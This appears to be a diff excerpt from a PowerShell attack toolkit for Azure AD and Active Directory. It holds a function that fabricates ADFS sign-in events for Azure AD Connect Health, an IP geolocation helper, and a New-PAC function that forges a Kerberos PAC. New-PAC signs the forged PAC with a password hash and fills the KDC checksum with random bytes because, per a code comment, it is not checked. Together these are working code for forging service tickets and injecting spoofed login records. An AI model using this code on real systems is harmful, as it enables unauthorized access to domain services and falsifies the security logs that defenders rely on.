.Parameter PrimarySid
|
||||
The primary SID of the user.
|
||||
Defaults to empty.
|
||||
|
||||
.Parameter ImmutableId
|
||||
Immutable Id of the user. Base 64 encoded GUID of the user's AD object.
|
||||
Defaults to empty.
|
||||
|
||||
.Example
|
||||
PS C:\>$events = @()
|
||||
PS C:\>$events += (New-AADIntHybridHealtServiceEvent -Server "Server" -UPN "user@company.com" -IPAddress "192.168.0.2")
|
||||
|
||||
PS C:\>Send-AADIntHybridHealthServiceEventBlob -BlobKey $blobKey -TenantId $tenantId -MachineId $machineId -ServiceId $serviceId -EventPublisherKey $eventKey -Events $events
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[guid]$UniqueID = (New-Guid),
|
||||
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Server,
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[ValidateSet("NotSet","AppToken","FreshCredential","System","Discovery","Signout","PwdChange","DeviceReg","Resource","Config","ExtranetLockout")]
|
||||
[String]$EventType = "AppToken",
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[ValidateSet("NotSet","Forms","Windows","Certificate","Device","Multifactor","Sso","Federated")]
|
||||
[String[]]$PrimaryAuthentication = @("Forms","Sso"),
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[ValidateSet("NotSet","Primary","Secondary")]
|
||||
[String]$RequiredAuthType = "Primary",
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$RelyingParty = "urn:federation:MicrosoftOnline",
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$RelyingPartyName = "",
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[bool]$Result = $True,
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[bool]$DeviceAuthentication = $False,
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$URL = "/adfs/ls",
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[int]$User = 666,
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$UserId,
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[ValidateSet("AnchorID","UPN","WindowsAccountName","PrimarySID","NameID","Email","Name","NotSet")]
|
||||
[String]$UserIdType = "AnchorID",
|
||||
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$UPN,
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[datetime]$Timestamp = (Get-Date),
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[ValidateSet("NotSet","WSFederation","WSFedSamlP","OAuth","SAMLP","WSTrust","MSAdfsPIP","MSISHTTP")]
|
||||
[String]$Protocol = "WSFederation",
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[ValidateSet("NotSet","Intranet","Extranet")]
|
||||
[String]$NetworkLocationType = "Intranet",
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[ValidateSet("NotAFailure","UPError","LockoutError","ExpiredPassword","DisabledAccount","DeviceAuthError","UserCertAuthError","IssuanceAuthZError","MFAError","ExtranetLockoutError","LogoutError","CredentialValidationError","OtherCredentialError","IssuanceDelegationError","TokenAcceptanceError","ProtocolError","WsFedRequestFailure","InvalidRelyingPartyError","InvalidClientApplicationError","GenericError","OtherError")]
|
||||
[String]$AppTokenFailureType = "NotAFailure",
|
||||
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$IPAddress,
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$ClaimsProvider,
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$OAuthClientID,
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$OAuthTokenRetrievalMethod,
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$MFA,
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$MFAProviderErrorCode,
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$ProxyServer,
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$Endpoint = "/adfs/ls/",
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36",
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$DeviceID,
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[int]$ErrorHitCount = 0,
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$X509CertificateType,
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$MFAAuthenticationType,
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[guid]$ActivityId = (New-Guid),
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[bool]$ActivityIdAutoGenerated = $False,
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$PrimarySid,
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$ImmutableId
|
||||
)
|
||||
Begin
|
||||
{
|
||||
$ADFSEventTypes = [ordered]@{
|
||||
"NotSet" = 0
|
||||
"AppToken" = 1 # Normal login
|
||||
"FreshCredential" = 2
|
||||
"System" = 4
|
||||
"Discovery" = 8
|
||||
"Signout" = 16
|
||||
"PwdChange" = 32
|
||||
"DeviceReg" = 64
|
||||
"Resource" = 128
|
||||
"Config" = 256
|
||||
"ExtranetLockout" = 512
|
||||
}
|
||||
$ADFSAuthTypes = [ordered]@{
|
||||
"NotSet" = 0
|
||||
"Forms" = 1
|
||||
"Windows" = 2
|
||||
"Certificate" = 4
|
||||
"Device" = 8
|
||||
"Multifactor" = 16
|
||||
"Sso" = 32
|
||||
"Federated" = 64
|
||||
}
|
||||
$ADFSRequiredAuthType = [ordered]@{
|
||||
"NotSet" = 0
|
||||
"Primary" = 1
|
||||
"Secondary" = 2
|
||||
}
|
||||
$UserIdTypes = [ordered]@{
|
||||
"AnchorID" = 10
|
||||
"UPN" = 20
|
||||
"WindowsAccountName" = 30
|
||||
"PrimarySID" = 40
|
||||
"NameID" = 50
|
||||
"Email" = 60
|
||||
"Name" = 70
|
||||
"NotSet" = 1000
|
||||
}
|
||||
$ADFSProtocolTypes = [ordered]@{
|
||||
"NotSet" = 0
|
||||
"WSFederation" = 2
|
||||
"WSFedSamlP" = 4
|
||||
"OAuth" = 10
|
||||
"SAMLP" = 20
|
||||
"WSTrust" = 30
|
||||
"MSAdfsPIP" = 40
|
||||
"MSISHTTP" = 50
|
||||
}
|
||||
$NetworkLocationTypes = [ordered]@{
|
||||
"NotSet" = 0
|
||||
"Intranet" = 1
|
||||
"Extranet" = 2
|
||||
}
|
||||
$ADFSFailureTypes = [ordered]@{
|
||||
"NotAFailure" = 0
|
||||
"UPError" = 1
|
||||
"LockoutError" = 2
|
||||
"ExpiredPassword" = 3
|
||||
"DisabledAccount" = 4
|
||||
"DeviceAuthError" = 5
|
||||
"UserCertAuthError" = 10
|
||||
"IssuanceAuthZError" = 20
|
||||
"MFAError" = 21
|
||||
"ExtranetLockoutError" = 30
|
||||
"LogoutError" = 40
|
||||
"CredentialValidationError" = 50
|
||||
"OtherCredentialError" = 70
|
||||
"IssuanceDelegationError" = 80
|
||||
"TokenAcceptanceError" = 90
|
||||
"ProtocolError" = 100
|
||||
"WsFedRequestFailure" = 110
|
||||
"InvalidRelyingPartyError" = 111
|
||||
"InvalidClientApplicationError" = 112
|
||||
"GenericError" = 500
|
||||
"OtherError" = 1000
|
||||
}
|
||||
}
|
||||
Process
|
||||
{
|
||||
# Combine authentication types
|
||||
if($PrimaryAuthentication.Count -eq 1)
|
||||
{
|
||||
$combinedAuthType = $ADFSAuthTypes[$PrimaryAuthentication]
|
||||
}
|
||||
else
|
||||
{
|
||||
$combinedAuthType = 0
|
||||
foreach($type in $PrimaryAuthentication)
|
||||
{
|
||||
$combinedAuthType = $combinedAuthType -bor $ADFSAuthTypes[$type]
|
||||
}
|
||||
}
|
||||
|
||||
$event = [ordered]@{
|
||||
"UniqueID" = $UniqueID.ToString()
|
||||
"Server" = $Server
|
||||
"EventType" = $ADFSEventTypes[$EventType]
|
||||
"PrimaryAuthentication" = $combinedAuthType
|
||||
"RequiredAuthType" = $ADFSRequiredAuthType[$RequiredAuthType]
|
||||
"RelyingParty" = $RelyingParty
|
||||
"RelyingPartyName" = $RelyingPartyName
|
||||
"Result" = $Result
|
||||
"DeviceAuthentication" = $DeviceAuthentication
|
||||
"URL" = $URL
|
||||
"User" = $User
|
||||
"UserId" = $UserId
|
||||
"UserIdType" = $UserIdTypes[$UserIdType]
|
||||
"UPN" = $UPN
|
||||
"Timestamp" = $Timestamp.ToUniversalTime().ToString("o", [cultureinfo]::InvariantCulture)
|
||||
"Protocol" = $ADFSProtocolTypes[$Protocol]
|
||||
"NetworkLocation" = $NetworkLocationTypes[$NetworkLocationType]
|
||||
"AppTokenFailureType" = $ADFSFailureTypes[$AppTokenFailureType]
|
||||
"IPAddress" = $IPAddress
|
||||
"ClaimsProvider" = $ClaimsProvider
|
||||
"OAuthClientID" = $OAuthClientID
|
||||
"OAuthTokenRetrievalMethod" = $OAuthTokenRetrievalMethod
|
||||
"MFA" = $MFA
|
||||
"MFAProviderErrorCode" = $MFAProviderErrorCode
|
||||
"ProxyServer" = $ProxyServer
|
||||
"Endpoint" = $Endpoint
|
||||
"UserAgent" = $UserAgent
|
||||
"DeviceID" = $DeviceID
|
||||
"ErrorHitCount" = $ErrorHitCount
|
||||
"X509CertificateType" = $X509CertificateType
|
||||
"MFAAuthenticationType" = $MFAAuthenticationType
|
||||
"ActivityId" = $ActivityId.ToString()
|
||||
"ActivityIdAutoGenerated" = $ActivityIdAutoGenerated
|
||||
"PrimarySid" = $PrimarySid
|
||||
"ImmutableId" = $ImmutableId
|
||||
}
|
||||
|
||||
return $event
|
||||
}
|
||||
}
|
||||
+66
@@ -0,0 +1,66 @@
|
||||
# Some ip related utility functions
|
||||
|
||||
# Gets the ip location info from ipgeolocationapi.com
|
||||
function Get-IPLocationInfo
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(ParameterSetName="IPText", Mandatory=$true)]
|
||||
[String]$IpAddress,
|
||||
[Parameter(ParameterSetName="Host", Mandatory=$true)]
|
||||
[String]$HostName,
|
||||
[Parameter(ParameterSetName="IPBytes", Mandatory=$true)]
|
||||
[byte[]]$IpBytes,
|
||||
[switch]$Short
|
||||
)
|
||||
Process
|
||||
{
|
||||
if($IpBytes -ne $null)
|
||||
{
|
||||
if($IpBytes.Length -ne 4)
|
||||
{
|
||||
Throw "IpBytes must be exactly 4 bytes long!"
|
||||
}
|
||||
$IpAddress = "$($IpBytes[0]).$($IpBytes[1]).$($IpBytes[2]).$($IpBytes[3])"
|
||||
}
|
||||
elseif(![string]::IsNullOrEmpty($HostName))
|
||||
{
|
||||
$IpAddresses = Resolve-DnsName -Name $HostName -ErrorAction SilentlyContinue
|
||||
$entry = $null
|
||||
if($IpAddresses.Count -gt 1)
|
||||
{
|
||||
$entry = $IpAddresses[$IpAddresses.count-1]
|
||||
}
|
||||
else
|
||||
{
|
||||
$entry = $IpAddresses
|
||||
}
|
||||
if([string]::IsNullOrEmpty($entry.IPAddress))
|
||||
{
|
||||
if(![string]::IsNullOrEmpty($entry.IP4Address))
|
||||
{
|
||||
$IpAddress = $entry.IP4Address
|
||||
}
|
||||
else
|
||||
{
|
||||
Throw "No ipv address found for $HostName"
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
$IpAddress = $entry.IPAddress
|
||||
}
|
||||
}
|
||||
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Uri "https://api.ipgeolocationapi.com/geolocate/$IpAddress" -Headers @{"Accept" = "application/json; charset=utf-8"}
|
||||
|
||||
if($Short)
|
||||
{
|
||||
return @($response.name, $response.subregion, $response.region)
|
||||
}
|
||||
else
|
||||
{
|
||||
return $response
|
||||
}
|
||||
}
|
||||
}
|
||||
Binary file not shown.
+963
@@ -0,0 +1,963 @@
|
||||
# Generates PAC for the kerberos ticket
|
||||
# Aug 8th 2019
|
||||
Function New-PAC
|
||||
{
|
||||
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$UserName,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$UserDisplayName,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$UserPrincipalName,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$ServerName,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$DomainName,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$DomainDNSName,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[Byte[]]$Sid,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$Password,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$Hash,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[DateTime]$AuthTime,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[Int]$SequenceNumber=([System.Random]::new()).Next(),
|
||||
|
||||
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/b10cfda1-f24f-441b-8f43-80cb93e786ec
|
||||
[Parameter(Mandatory=$False)]
|
||||
[Int]$UserAccountControl=0x00000080 # USER_WORKSTATION_TRUST_ACCOUNT #0x00000010 <# USER_NORMAL_ACCOUNT #> -bor 0X00000200 <# USER_DONT_EXPIRE_PASSWORD #>
|
||||
)
|
||||
|
||||
Process
|
||||
{
|
||||
# Set the timestamps
|
||||
$DeviceId = $authTime # MUST be same than authTime
|
||||
$LogonTime = $DeviceId.AddMinutes(-10) # We've logged in 10 minutes ago :)
|
||||
$PwdLastChangeTime = (Get-Date).AddDays(-10) # We've changed our password 10 days ago,
|
||||
$PwdCanChangeTime = $PwdLastChangeTime.AddDays(1) # so we could've changed it 9 days ago
|
||||
|
||||
# Convert names to Unicode byte strings
|
||||
$bDomainName = [system.text.encoding]::unicode.GetBytes( $DomainName)
|
||||
$bUserName = [system.text.encoding]::unicode.GetBytes( $UserName)
|
||||
$bUserDisplayName = [system.text.encoding]::unicode.GetBytes( $UserDisplayName)
|
||||
$bServerName = [system.text.encoding]::unicode.GetBytes( $ServerName)
|
||||
$bDomainDNSName = [system.text.encoding]::unicode.GetBytes( $DomainDNSName)
|
||||
$bUserPrincipalName = [system.text.encoding]::unicode.GetBytes($UserPrincipalName)
|
||||
|
||||
# Extract the user and domain sids
|
||||
$bUserSid = $Sid[24..27]
|
||||
$bDomainSid = $Sid[0..23]
|
||||
$bDomainSid[1]=4 # Need to change from 5 to 4
|
||||
|
||||
# Construct the PACs
|
||||
$LOGON_INFORMATION=[byte[]]@(
|
||||
@(0x01) # Version = 0x01
|
||||
@(0x10) # Endianness (=little endian)
|
||||
@(0x08, 0x00) # Length = 0x08
|
||||
@(0xCC, 0xCC, 0xCC, 0xCC) # Filler
|
||||
@(0x00, 0x00, 0x00, 0x00) # Length of the info buffer (placeholder)
|
||||
@(0x00, 0x00, 0x00, 0x00) # Zeros
|
||||
|
||||
@(0x00, 0x00, 0x02, 0x00) # User info pointer
|
||||
|
||||
[System.BitConverter]::GetBytes($LogonTime.ToFileTimeUtc()) # LogonTime
|
||||
@(0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x7F) # LogOffTime
|
||||
@(0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x7F) # KickOffTime
|
||||
[System.BitConverter]::GetBytes($PwdLastChangeTime.ToFileTimeUtc()) # PwdLastChangeTime
|
||||
[System.BitConverter]::GetBytes($PwdCanChangeTime.ToFileTimeUtc()) # PwdCanChangeTime
|
||||
@(0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x7F) # PwdMustChangeTime
|
||||
# UserName
|
||||
[System.BitConverter]::GetBytes([int16]($bUserName.Length)) # Length
|
||||
[System.BitConverter]::GetBytes([int16]($bUserName.Length)) # Max length
|
||||
@(0x04, 0x00, 0x02, 0x00) # Pointer
|
||||
# UserDisplayName
|
||||
[System.BitConverter]::GetBytes([int16]($bUserDisplayName.Length)) # Length
|
||||
[System.BitConverter]::GetBytes([int16]($bUserDisplayName.Length)) # Max Length
|
||||
@(0x08, 0x00, 0x02, 0x00) # Pointer
|
||||
# LogonScript
|
||||
@(0x00, 0x00) # Length
|
||||
@(0x00, 0x00) # Max Length
|
||||
@(0x0C, 0x00, 0x02, 0x00) # Pointer
|
||||
# ProfilePath
|
||||
@(0x00, 0x00) # Length
|
||||
@(0x00, 0x00) # Max Length
|
||||
@(0x10, 0x00, 0x02, 0x00) # Pointer
|
||||
# HomeDirectory
|
||||
@(0x00, 0x00) # Length
|
||||
@(0x00, 0x00) # Max Length
|
||||
@(0x14, 0x00, 0x02, 0x00) # Pointer
|
||||
# HomeDrive
|
||||
@(0x00, 0x00) # Length
|
||||
@(0x00, 0x00) # Max Length
|
||||
@(0x18, 0x00, 0x02, 0x00) # Pointer
|
||||
|
||||
@(0x05, 0x00) # LogonCount -- just add something..
|
||||
@(0x00, 0x00) # BadPasswordCount
|
||||
|
||||
|
||||
$bUserSid # UserSid
|
||||
[System.BitConverter]::GetBytes([int32](513)) # GroupSid:
|
||||
# https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups
|
||||
# 0x0200 = 512 = Domain Admins
|
||||
# 0x0201 = 513 = Domain Users
|
||||
# 0x0202 = 514 = Domain Guests
|
||||
# 0x0203 = 515 = Domain Computers
|
||||
# 0x0204 = 516 = Domain Controllers
|
||||
# 0x0207 = 519 = Enterprise Admins
|
||||
# 0x020f = 527 = Key Admins
|
||||
# 0x0220 = 544 = Local Admins
|
||||
@(0x02, 0x00, 0x00, 0x00) # GroupCount
|
||||
@(0x1C, 0x00, 0x02, 0x00) # GroupPointer
|
||||
|
||||
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/69e86ccc-85e3-41b9-b514-7d969cd0ed73
|
||||
@(0x20, 0x00, 0x00, 0x00) # UserFlags
|
||||
# 0x 20 = ExtraSid is populated and contains additional SIDs
|
||||
# 0x200 = ResourceGroupIds field is populated.
|
||||
|
||||
# UserSessionKey - used only for NTLM
|
||||
@(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)
|
||||
|
||||
# ServerName
|
||||
[System.BitConverter]::GetBytes([int16]($bServerName.Length)) # Length
|
||||
[System.BitConverter]::GetBytes([int16]($bServerName.Length+2)) # MaxLength -- Why + 2 for the size??
|
||||
@(0x20, 0x00, 0x02, 0x00) # Pointer
|
||||
# DomainName
|
||||
[System.BitConverter]::GetBytes([int16]($bDomainName.Length)) # Length
|
||||
[System.BitConverter]::GetBytes([int16]($bDomainName.Length+2)) # MaxLength
|
||||
@(0x24, 0x00, 0x02, 0x00) # Pointer
|
||||
|
||||
@(0x28, 0x00, 0x02, 0x00) # DomainIDPointer
|
||||
@(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00) # Reserved = 8 x 0x00
|
||||
[System.BitConverter]::GetBytes([int32]$UserAccountControl) # UserAccountControl
|
||||
@(0x00, 0x00, 0x00, 0x00) # SubAuthStatus
|
||||
@(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00) # LastSuccessfullLogon
|
||||
@(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00) # LastFailedLogon
|
||||
@(0x00, 0x00, 0x00, 0x00) # Failed Logon Count
|
||||
|
||||
@(0x00, 0x00, 0x00, 0x00) # Reserved
|
||||
@(0x01, 0x00, 0x00, 0x00) # ExtraSidCount
|
||||
@(0x2C, 0x00, 0x02, 0x00) # ExtraSidPointer
|
||||
|
||||
@(0x00, 0x00, 0x00, 0x00) # ResourceDomainIdPointer
|
||||
@(0x00, 0x00, 0x00, 0x00) # ResourceGroupCount
|
||||
@(0x00, 0x00, 0x00, 0x00) # ResourceGroupPointer
|
||||
|
||||
# STRINGS
|
||||
# UserName
|
||||
[System.BitConverter]::GetBytes([int32]($bUserName.Length)/2) # Total = maxlength / 2
|
||||
@(0x00, 0x00, 0x00, 0x00) # Unused
|
||||
[System.BitConverter]::GetBytes([int32]($bUserName.Length)/2) # used = maxlength / 2
|
||||
$bUserName
|
||||
|
||||
if($bUserName.Length/2 % 2 -gt 0){@(0x00, 0x00)} # Must be even sized
|
||||
|
||||
# UserDisplayName
|
||||
[System.BitConverter]::GetBytes([int32]($bUserDisplayName.Length/2)) # Total
|
||||
@(0x00, 0x00, 0x00, 0x00) # Unused
|
||||
[System.BitConverter]::GetBytes([int32]($bUserDisplayName.Length/2)) # Used
|
||||
if($bUserDisplayName.Length -gt 0){$bUserDisplayName}
|
||||
|
||||
if($bUserDisplayName.Length/2 % 2 -gt 0){@(0x00, 0x00)} # Must be even sized
|
||||
|
||||
@(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00) # LogonScript
|
||||
@(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00) # ProfilePath
|
||||
@(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00) # HomeDirectory
|
||||
@(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00) # HomeDrive
|
||||
|
||||
# GroupSids
|
||||
@(0x02, 0x00, 0x00, 0x00) # Count
|
||||
@(0x03, 0x02, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00)
|
||||
@(0x0F, 0x02, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00)
|
||||
|
||||
# ServerName
|
||||
[System.BitConverter]::GetBytes([int32]($bServerName.Length)/2+1) # Total
|
||||
@(0x00, 0x00, 0x00, 0x00) # Unused
|
||||
[System.BitConverter]::GetBytes([int32]($bServerName.Length)/2) # Length
|
||||
$bServerName
|
||||
|
||||
if($bServerName.Length/2 % 2 -gt 0){@(0x00, 0x00)} # Must be even sized
|
||||
# DomainName
|
||||
[System.BitConverter]::GetBytes([int32]($bDomainName.Length)/2+1) # Total
|
||||
@(0x00, 0x00, 0x00, 0x00)
|
||||
[System.BitConverter]::GetBytes([int32]($bDomainName.Length)/2) # Length
|
||||
$bDomainName
|
||||
if($bDomainName.Length/2 % 2 -gt 0){@(0x00, 0x00)} # Must be even sized
|
||||
|
||||
# DomainSid
|
||||
@(0x04, 0x00, 0x00, 0x00) # Count
|
||||
$bDomainSid # SidBytes
|
||||
# ExtraSid
|
||||
@(0x01, 0x00, 0x00, 0x00) # Count
|
||||
@(0x30, 0x00, 0x02, 0x00) # Pointer
|
||||
@(0x07, 0x00, 0x00, 0x00) # Attributes
|
||||
@(0x01, 0x00, 0x00, 0x00) # SidSize (count)
|
||||
@(0x01, 0x01, 0x00, 0x00, # Sid
|
||||
0x00, 0x00, 0x00, 0x12,
|
||||
0x01, 0x00, 0x00, 0x00)
|
||||
)
|
||||
# Set the correct size: Total size - the header
|
||||
$size = $LOGON_INFORMATION.Count - 16 #
|
||||
[Array]::Copy([bitconverter]::GetBytes([Int32]$size),0, $LOGON_INFORMATION, 8, 4)
|
||||
|
||||
$CLIENT_NAME_TICKET_INFO=@(
|
||||
[System.BitConverter]::GetBytes($DeviceId.ToFileTime()) # ClientId - MUST be equal to authTime
|
||||
[System.BitConverter]::GetBytes([int16]($bUserName.Length)) # Name Length
|
||||
$bUserName
|
||||
)
|
||||
$UPN_DOMAIN_INFO=@(
|
||||
[System.BitConverter]::GetBytes([int16]($bUserPrincipalName.Length)) # UpnLength
|
||||
[System.BitConverter]::GetBytes([int16]0x10) # UpnOffset
|
||||
[System.BitConverter]::GetBytes([int16]($bDomainDNSName.Length)) # DnsDomainNameLength
|
||||
[System.BitConverter]::GetBytes([int16]($bUserPrincipalName.Length+0x10)) # DnsDomainNameOffset
|
||||
|
||||
@(0x00, 0x00, 0x00, 0x00) # Flags
|
||||
@(0x00, 0x00, 0x00, 0x00) # Some align thing?
|
||||
$bUserPrincipalName # UPN
|
||||
$bDomainDNSName # DNS Domain
|
||||
)
|
||||
$SERVER_CHECKSUM=@(
|
||||
@(0x76, 0xFF, 0xFF, 0xFF) # Type = KERB_CHECKSUM_HMAC_MD5
|
||||
@(0x00, 0x00, 0x00, 0x00, # Server checksum - MUST be 0x00 to calculate checksum
|
||||
0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00)
|
||||
)
|
||||
$PRIVILEGE_SERVER_CHECKSUM=@(
|
||||
@(0x10, 0x00, 0x00, 0x00) # Type = HMAC_SHA1_96_AES256
|
||||
@(0x00, 0x00, 0x00, 0x00, # KDC checksum - MUST be 0x00 to calculate (server) checksum
|
||||
0x00, 0x00, 0x00, 0x00, # Otherwise this is not needed nor used
|
||||
0x00, 0x00, 0x00, 0x00)
|
||||
)
|
||||
|
||||
|
||||
# Construct the header
|
||||
$Offset = 88
|
||||
|
||||
$HEADER = @()
|
||||
|
||||
# Align the blocks
|
||||
$logon_info_size = Align-Size -Size $LOGON_INFORMATION.Length -Mask 8
|
||||
$client_info_size = Align-Size -Size $CLIENT_NAME_TICKET_INFO.Length -Mask 8
|
||||
$upn_info_size = Align-Size -Size $UPN_DOMAIN_INFO.Length -Mask 8
|
||||
$server_check_size = Align-Size -Size $SERVER_CHECKSUM.Length -Mask 8
|
||||
$privilege_check_size = Align-Size -Size $PRIVILEGE_SERVER_CHECKSUM.Length -Mask 8
|
||||
|
||||
$HEADER += @(0x05, 0x00, 0x00, 0x00) # Pac count = 5
|
||||
$HEADER += @(0x00, 0x00, 0x00, 0x00) # Version = 0
|
||||
|
||||
$HEADER += @(0x01, 0x00, 0x00, 0x00) # LOGON INFO
|
||||
$HEADER += [System.BitConverter]::GetBytes([int32]$logon_info_size) # Size
|
||||
$HEADER += [System.BitConverter]::GetBytes([int64]$Offset) # Offset
|
||||
$Offset+=$logon_info_size
|
||||
|
||||
$HEADER += @(0x0A, 0x00, 0x00, 0x00) # CLIENT_NAME_TICKET_INFO
|
||||
$HEADER += [System.BitConverter]::GetBytes([int32]$client_info_size) # Size
|
||||
$HEADER += [System.BitConverter]::GetBytes([int64]$Offset) # Offset
|
||||
$Offset+=$client_info_size
|
||||
|
||||
$HEADER += @(0x0C, 0x00, 0x00, 0x00) # UPN_DOMAIN_INFO
|
||||
$HEADER += [System.BitConverter]::GetBytes([int32]$upn_info_size) # Size
|
||||
$HEADER += [System.BitConverter]::GetBytes([int64]$Offset) # Offset
|
||||
$Offset+=$upn_info_size
|
||||
|
||||
$HEADER += @(0x06, 0x00, 0x00, 0x00) # SERVER_CHECKSUM
|
||||
$HEADER += [System.BitConverter]::GetBytes([int32]$server_check_size-4) # Size
|
||||
$HEADER += [System.BitConverter]::GetBytes([int64]$Offset) # Offset
|
||||
$Offset+=$server_check_size
|
||||
|
||||
$HEADER += @(0x07, 0x00, 0x00, 0x00) # PRIVILEGE_SERVER_CHECKSUM
|
||||
$HEADER += [System.BitConverter]::GetBytes([int32]$privilege_check_size) # Size
|
||||
$HEADER += [System.BitConverter]::GetBytes([int64]$Offset) # Offset
|
||||
|
||||
|
||||
# Construct the PAC
|
||||
$PAC=@()
|
||||
|
||||
$PAC += $HEADER
|
||||
$PAC += $LOGON_INFORMATION
|
||||
$PAC += Get-AlignBytes -Size $LOGON_INFORMATION.Length -Mask 8
|
||||
$PAC += $CLIENT_NAME_TICKET_INFO
|
||||
$PAC += Get-AlignBytes -Size $CLIENT_NAME_TICKET_INFO.Length -Mask 8
|
||||
$PAC += $UPN_DOMAIN_INFO
|
||||
$PAC += Get-AlignBytes -Size $UPN_DOMAIN_INFO.Length -Mask 8
|
||||
$PAC += $SERVER_CHECKSUM # KERB_CHECKSUM_HMAC_MD5
|
||||
$PAC += Get-AlignBytes -Size $SERVER_CHECKSUM.Length -Mask 8
|
||||
$PAC += $PRIVILEGE_SERVER_CHECKSUM #HMAC_SHA1_96_AES256
|
||||
$PAC += Get-AlignBytes -Size $PRIVILEGE_SERVER_CHECKSUM.Length -Mask 8
|
||||
|
||||
# Convert the password to MD4 hash
|
||||
if([string]::IsNullOrEmpty($Hash))
|
||||
{
|
||||
$checksum_key = Get-MD4 -String $Password -AsByteArray
|
||||
}
|
||||
else
|
||||
{
|
||||
$checksum_key = Convert-HexToByteArray -HexString $Hash
|
||||
}
|
||||
# Checksums
|
||||
$serverChecksum = Get-ServerSignature -Key $checksum_key -Data $PAC
|
||||
$KDCChecksum = Get-RandomBytes -Bytes 12 # Not checked by the server, so random checksum will do
|
||||
|
||||
# Create the signature block - Only server block gets validated in the server
|
||||
$signatureBlock = @(
|
||||
@(0x76, 0xFF, 0xFF, 0xFF) # Type = KERB_CHECKSUM_HMAC_MD5
|
||||
$serverChecksum
|
||||
(Get-AlignBytes -Size $SERVER_CHECKSUM.Length -Mask 8)
|
||||
@(0x10, 0x00, 0x00, 0x00) # Type = HMAC_SHA1_96_AES256
|
||||
$KDCChecksum
|
||||
(Get-AlignBytes -Size $PRIVILEGE_SERVER_CHECKSUM.Length -Mask 8)
|
||||
)
|
||||
|
||||
# Add signature block to the end of the PAC
|
||||
$PAC=$PAC[0..($PAC.Length - $signatureBlock.Length-1)] + $signatureBlock
|
||||
|
||||
# Return
|
||||
return [byte[]]$PAC
|
